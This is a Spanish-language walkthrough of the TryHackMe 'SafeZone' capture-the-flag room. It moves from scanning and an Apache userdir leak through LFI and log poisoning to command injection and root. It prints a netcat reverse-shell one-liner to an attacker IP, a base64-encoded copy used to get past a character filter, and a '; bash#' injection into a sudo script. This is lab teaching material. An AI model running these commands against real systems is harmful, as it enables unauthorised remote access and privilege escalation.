SafeZone - TryHackMe
SUMMARY
Debemos encontrar dos banderas. Donde a partir de un escaneo de puertos pude saber que hay un servicio Web y SSH. Luego, realice fuerza bruta de directorios encontrando una aplicación web con un login y un registro. Luego, a partir de un modulo del servidor Apache, logre encontrar pistas del password del admin que me permitió crear un sciprt Python para automatizar la fuerza bruta de contraseña sobre el login. Luego, me encontré con la vulnerabilidad LFI en la aplicación web, permitiéndome obtener acceso al sistema mediante la explotación de la vulnerabilidad Login poisoning. Luego, para la doble escalada de privilegio horizontal, cracke el hash encontrado en un archivo. Luego, realice un túnel SSH para acceder a servidor Ngnix, que solo admitía conexiones locales. Ademas, el servidor tenía almacenado una aplicación web vulnerable a Command Injection. Luego, para la escalada vertical, realice un Command Injection sobre un script Python ejecutado con el comando sudo y privilegios root.
FASE RECONOCIMIENTO ACTIVO
En este caso debemos acceder al sistema destino y obtener las banderas. Para ello empezaremos utilizando el comando openvpn con el fin de establecer una conexión VPN con la red virtual dónde está la máquina SafeZone1. Para ello utilizaremos el archivo de configuración, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir información como la dirección del servidor VPN, los certificados y claves de seguridad, la configuración de encriptación, etc.
Luego de que se establece la conexión VPN se crea una interfaz virtual de red en nuestra máquina. Donde se enruta todo el tráfico de red a través de esa interfaz.
Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina SafeZone1.
FASE ESCANEO Y ENUMERACION
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, observaremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo del sistema destino. Para ello utilizaremos Nmap
. Donde le pasaremos los siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
- El parámetros -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -Pn para evitar que Nmap, que realice ningún tipo de sondeo o ping hacia el sistema destino con el fin de determinar si el host está vivo o activo, y realice el escaneo de puertos directamente.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
- Un programa servidor HTTP ejecutado en el puerto 80. Además, gracias a un script de Nmap, ¿se puede observar la etiqueta title con el valor Whoami?, esto quiere decir que hay una pagina web alojada en el servidor web. Además, si observamos la página web y su código fuente a traves de mi navegador web, no obtendremos nada importante.
- Un programa servidor SSH ejecutado en el puerto 22.
Ahora, realizaremos fuerza bruta de directorios sobre el directorio raíz del servidor web con el fin de encontrar recursos escondidos.
Podemos observar que logramos encontrar varios recursos con el código de estado HTTP 302 que nos redirigen al recurso index.php. Además, encontramos otros recursos interesantes con código de estado HTTP 200.
- Index.php
- Register.php
- Note.txt
Podemos observar que la aplicación web almacenada en el servidor web consta de un registro y un login para autenticarse. Además, en el archivo de texto note, encontramos la ruta de otro archivo texto que contiene las credenciales del usuario admin.
Debido a que se utiliza el programa servidor Apache en el servidor web, debemos saber que hay un modulo en este programa servidor, llamado mod_usedir
, que nos permite observar archivos del directorio home de los usuarios en el sistema a traves de la URL siguiendo cierta estructura. Por ejemplo: http://ejemplo.com/~User/Filename (Para más información puede observar este link: https://httpd.apache.org/docs/trunk/urlmapping.html).
Ahora, comprobaremos si este modulo esta activado, intentando acceder al archivo pass.txt ubicado en el directorio home del usuario files.
Podemos observar que logramos visualizar el archivo de texto pass debido a que el módulo mod_usedir
esta activado. Además, logramos visualizar que la contraseña del admin esta compuesta por admin__admin. Donde los _ representan un número.
Ahora que conocemos la escritura de la contraseña, crearemos un script en Python para realizar fuera bruta de contraseñas sobre la autenticación del login de la aplicación web. Además, debemos tener en cuenta que se ha configurado un límite de 3 intentos fallidos en la autenticación. Después de eso no vamos a poder autenticarnos durante 60 segundos como lo puede observar en las siguientes imágenes.
FASE GANAR ACCESO O HACKING O EXPLOTACION
Ahora crearemos el script en Python teniendo en consideración el limite de numero de intentos fallidos y los 60 segundos en el login.
Podemos observar que logramos obtener la contraseña del admin a partir del script creado. Si quiere obtener el código de este script, puede revisar mi repositorio SafeZone-TryHackMe.
Ahora nos autenticaremos en login de la aplicación web y observaremos su panel de gestión.
Podemos observar que la sección News nos habla sobre una posible vulnerabilidad LFI o RCE en la aplicación web. Además, la sección Details presenta de una funcionalidad que nos permite obtener información sobre el usuario que le pasemos. Además, si observamos el código fuente de esta sección, nos topamos con un comentario que hace referencia a un parámetro GET page que puede ser usado en un LFI con el fin de poder observar el contenido de archivos del sistema destino en nuestro navegador web.
Ahora probaremos a prueba la conjetura, intentando observar el contenido del archivo /etc/passwd mediante el parámetro GET page.
Podemos observar que si presenta la vulnerabilidad LFI.
Ahora intentaremos observar los logs de acceso del servicio web Apache con el fin de saber si podemos utilizar la vulnerabilidad Log Poisoning para generar una webshell, pero para conocer la ruta exacta del registro de acceso del servidor Apache, utilizaremos wfuzz para automatizar la búsqueda con un diccionario de posibles rutas de archivos relacionados con el programa servidor Apache.
Podemos observar que la respuesta HTML asociada a la solicitud HTTP GET hacia el recurso /var/log/apache2/access.log, contiene un numero de caracteres igual a 161034 que es mucho mayor a de las otras respuestas HTML. Esto nos indica que es posiblemente el registro de acceso asociado al servidor web Apache.
Ahora verificaremos estas conjeturas.
De esta manera logramos verificar que viene a ser la ruta de los logs de acceso, y de que podemos acceder a los logs de acceso.
Ahora ingresaremos un payload PHP, que me generara una reverse shell, en el encabezado HTTP User-Agent, que contiene información sobre nuestro navegador web y sistema, a traves de una solicitud GET HTTP hacia el servidor web con el fin de quede registrado en los logs de acceso y sea ejecutado por el servidor web al momento de acceder a los registros de acceso a traves de mi navegador web.
De esta manera logramos obtener acceso al sistema destino.
Ahora daremos tratamiento a nuestra reverse Shell para que sea más estable e interactiva.
FASE ESCALADA PRIVILEGIOS
Ahora buscaremos vectores de escalada privilegios con el fin de tener una nueva instancia de Shell con mayores privilegios.
Ahora intentaremos crackear el hash con John The Ripper. Para ello primero identificaremos la función o algoritmo hash con la siguiente herramienta en línea.
Podemos observar que logramos crackear el hash y logramos iniciar sesión en el sistema destino siendo el usuario files.
Ahora utilizaremos linpeas para automatizar la búsqueda de vectores de escalada privilegios.
Podemos observar que el usuario yasha ha ejecutado un programa servidor Ngnix. Además, si observamos las conexiones de red en el sistema, nos topamos con una aplicación o servicio de red que esta escuchando conexiones entrantes en el puerto 8000 provenientes del mismo sistema. Además, pudimos demostrar estas conjeturas analizando la respuesta HTML realizada con curl hacia el servidor web Ngnix, que solo escucha conexiones entrantes del mismo sistema.
Ahora para poder interactuar con el servidor web Ngnix a traves de nuestro navegador web, realizaremos un reenvió de puertos local SSH mediante un túnel SSH que va a redirigir el tráfico de un puerto de nuestro sistema hacia el puerto 8000 del sistema destino.
Podemos observar que no tenemos permiso para visualizar la pagina que viene por defecto al momento de instalar el programa servidor web Ngnix.
Ahora realizaremos fuerza bruta de directorios sobre el directorio raíz del servidor web con el fin de encontrar recursos escondidos.
Podemos observar que logramos obtener un recurso que viene a ser un login. Además, si observamos su código fuente, podemos observar un archivo JavaScript que contiene la función validate para configurar la autenticación del login. Además, en los comandos de la función validate, podemos observar las credenciales correctas en el condicional if para autenticarnos exitosamente. Luego, de autenticarnos, nos redirigía al recurso pentes.php que contiene un campo que será utilizado en una solicitud POST HTTP.
Ahora introduciré el comando ping -c 5 10.8.123.194 en el campo y habilitare el comando tcpdump para verificar si se está ejecutando el comando.
Podemos observar los mensajes ICMP eco Request y Reply. Por lo tanto, si se esta ejecutando el comando, aunque no podemos observar los resultados del comando en la respuesta HTML, es decir, en el navegador web. Por esta razón, viene a ser un Command Injection Blind.
Ahora intentaremos ejecutar el comando rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1800 >/tmp/f
con el fin de generar una reverse shell.
Podemos observar que se llego a eliminar varios caracteres como: ;, bash, nc.
Ahora que sabemos que se ha configurado al lado del servidor, la protección de eliminar ciertos caracteres y strings que son potencialmente peligrosos. Además, los pipe o |
están permitidos. Por lo tanto, codificaremos en base64 el comando anterior, para luego decodificarlo, y ejecutarlo con el comando sh. (echo “cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuOC4xMjMuMTk0IDE4MDAgP i90bXAvZg==” | base64 -d | sh
)
De esta manera realizamos una escalada privilegio vertical.
Ahora seguiremos buscando vectores de escalada privilegios, para ello enumeraremos los comandos que podemos ejecutar con privilegios elevados mediante el comando sudo.
Podemos observar que podemos ejecutar un script en Python con los privilegios de root mediante el comando sudo, pero debido a que esta en el directorio root, no tenemos ningún permiso sobre él. Aunque, si lo ejecutamos, nos solicitan una contraseña, y si no proporcionamos nada, nos genera el panel de ayuda del comando sshpass. Por lo tanto, la contraseña ingresada es utilizada como parámetro del comando sshpass.
Ahora aprovecharemos esto para realizar un Command Inejction, ingresando el comando ; bash#
en la contraseña solicitada. Con el fin de ejecutar una Shell bash con los privilegios root. Además, el símbolo # es utilizado para hacer el resto del comando en comentarios.
De esta manera realizamos una escalada privilegio vertical.
Ahora buscaremos las dos banderas en el sistema de archivos del sistema destino.